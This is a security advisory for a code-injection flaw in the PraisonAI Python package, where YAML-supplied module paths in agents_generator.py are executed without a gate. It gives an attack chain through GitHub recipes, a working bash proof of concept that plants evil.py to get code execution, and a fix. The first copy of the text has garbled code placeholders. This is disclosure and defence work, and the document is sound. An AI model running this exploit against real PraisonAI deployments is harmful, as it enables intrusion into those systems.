PT-2026-45057 · Pypi · Praisonai

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-47398

CVSS v3.1

8.1

High

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Arbitrary code execution via ungated spec.loader.exec module in agents generator.py (v4.6.32 chokepoint refactor bypass)

Summary

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI ALLOW LOCAL TOOLS env-var gate to the tool override.py sinks. However, two additional spec.loader.exec module call sites in praisonai/agents generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVEGHSAFixed inWhat was patched
CVE-2026-40156GHSA-2g3w-cpc4-chr44.5.128CWD tools.py auto-load in tool resolver.py
CVE-2026-40287GHSA-g985-wjh9-qxxc4.5.139Env-var gate added to tool resolver.py + api/call.py
CVE-2026-44334GHSA-xcmw-grxf-wjhj4.6.32Missed sink in templates/tool override.py
This findingunfixedMissed sinks in agents generator.py
Every prior patch addressed a subset of exec module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents generator.py (master HEAD; v4.6.37)
,[object Object],
372 def load tools from module class(self, module path): # ... (same pattern — spec from file location → exec module, no gate)
Neither function checks PRAISONAI ALLOW LOCAL TOOLS. Neither validates module path against an allowlist. The module path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow any github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
 body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
    │
    ▼
 Recipe fetched → agents.yaml contains:
  tools:
   - module path: ./evil.py    # colocated in recipe dir
    │
    ▼
 AgentsGenerator.load tools from module("./evil.py")
    │
    ▼
 agents generator.py:349  spec = spec from file location("tools module", "./evil.py")
 agents generator.py:351  spec.loader.exec module(module)  ← RCE
No PRAISONAI ALLOW LOCAL TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
,[object Object],
MARKER=$(ls /tmp/praisonai agents gen pwn *.txt 2>/dev/null | tail -1) if [ -n "$MARKER" ]; then echo "SUCCESS — marker file written by server process:" cat "$MARKER" else echo "FAIL — marker not found" exit 1 fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and allow any github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI ALLOW LOCAL TOOLS env-var gate used in tool resolver.py and api/call.py to both call sites in agents generator.py:
import os
,[object Object],
,[object Object],
,[object Object],
,[object Object],
Additionally, validate module path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / SnailSploit
## Arbitrary code execution via ungated `spec.loader.exec module` in `agents generator.py` (v4.6.32 chokepoint refactor bypass)

TL;DR

The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the PRAISONAI ALLOW LOCAL TOOLS env-var gate to the tool override.py sinks. However, two additional spec.loader.exec module call sites in praisonai/agents generator.py were missed and remain completely unguarded on current master (v4.6.37). Both functions accept a module path parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.

Patch lineage

CVEGHSAFixed inWhat was patched
CVE-2026-40156GHSA-2g3w-cpc4-chr44.5.128CWD tools.py auto-load in tool resolver.py
CVE-2026-40287GHSA-g985-wjh9-qxxc4.5.139Env-var gate added to tool resolver.py + api/call.py
CVE-2026-44334GHSA-xcmw-grxf-wjhj4.6.32Missed sink in templates/tool override.py
This findingunfixedMissed sinks in agents generator.py
Every prior patch addressed a subset of exec module call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.

Vulnerable code

# praisonai/agents generator.py (master HEAD; v4.6.37)

336  def load tools from module(self, module path):
      # ...
349    spec = importlib.util.spec from file location("tools module", module path)
350    module = importlib.util.module from spec(spec)
351    spec.loader.exec module(module)        # ← NO gate

372  def load tools from module class(self, module path):
      # ... (same pattern — spec from file location → exec module, no gate)
Neither function checks PRAISONAI ALLOW LOCAL TOOLS. Neither validates module path against an allowlist. The module path value originates from YAML agent configuration (agents.yaml) tool definitions, which can be:
  1. Attacker-controlled via shared/writable config directory — same CWD-plant vector as CVE-2026-40156.
  2. Attacker-controlled via recipe/GitHub fetch — same remote trigger as CVE-2026-44334 (POST /v1/recipes/run with allow any github=True).
  3. Attacker-influenced via prompt injection — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.

Attack chain (recipe vector)

HTTP POST /v1/recipes/run
 body: {"recipe": "github:<attacker>/<repo>/<recipe>"}
    │
    ▼
 Recipe fetched → agents.yaml contains:
  tools:
   - module path: ./evil.py    # colocated in recipe dir
    │
    ▼
 AgentsGenerator.load tools from module("./evil.py")
    │
    ▼
 agents generator.py:349  spec = spec from file location("tools module", "./evil.py")
 agents generator.py:351  spec.loader.exec module(module)  ← RCE
No PRAISONAI ALLOW LOCAL TOOLS check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.

PoC

#!/usr/bin/env bash
# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)
set -euo pipefail

WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

# 1. Malicious module
cat > "$WORKDIR/evil.py" << 'PYEOF'
import os, sys, tempfile, time
marker = os.path.join(tempfile.gettempdir(),
           f"praisonai agents gen pwn {int(time.time())}.txt")
with open(marker, "w") as f:
  f.write(f"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}
")
print(f"[agents generator bypass] RCE fired. Marker: {marker}", flush=True)

def dummy tool():
  """Placeholder so tool scan finds something."""
  pass
PYEOF

# 2. agents.yaml that references it
cat > "$WORKDIR/agents.yaml" << 'YAMLEOF'
framework: praisonai
topic: "PoC — agents generator exec module bypass"
roles:
 poc agent:
  role: PoC
  goal: Trigger load tools from module
  backstory: n/a
  tools:
   - evil.py
YAMLEOF

# 3. Run
cd "$WORKDIR"
python -c "
from praisonai import PraisonAI
try:
  ai = PraisonAI(agent file='agents.yaml')
  ai.main()
except Exception:
  pass # downstream failure expected; exec module already fired
"

# 4. Verify
MARKER=$(ls /tmp/praisonai agents gen pwn *.txt 2>/dev/null | tail -1)
if [ -n "$MARKER" ]; then
  echo "SUCCESS — marker file written by server process:"
  cat "$MARKER"
else
  echo "FAIL — marker not found"
  exit 1
fi

Impact

Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an agents.yaml or colocate a .py file achieves code execution as the service account.

Severity

High — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)
When combined with the recipe server's default no-auth posture and allow any github=True, the attack becomes network-reachable without authentication, elevating to:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)

CWE

  • CWE-94: Improper Control of Generation of Code ('Code Injection')
  • CWE-426: Untrusted Search Path
  • CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Affected versions

All versions containing agents generator.py with these functions — at minimum >= 2.0.0, <= 4.6.37 (current master HEAD).

Suggested fix

Apply the same PRAISONAI ALLOW LOCAL TOOLS env-var gate used in tool resolver.py and api/call.py to both call sites in agents generator.py:
import os

def load tools from module(self, module path):
  if os.environ.get("PRAISONAI ALLOW LOCAL TOOLS", "").lower() != "true":
    return []
  # ... existing logic ...

def load tools from module class(self, module path):
  if os.environ.get("PRAISONAI ALLOW LOCAL TOOLS", "").lower() != "true":
    return []
  # ... existing logic ...
Additionally, validate module path against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.

Credit

Kai Aizen & Avraham Shemesh / [SnailSploit](https://snailsploit.com)

Fix

Code Injection

Weakness Enumeration

Related Identifiers

CVE-2026-47398
GHSA-78R8-WWQV-R299

Affected Products

Praisonai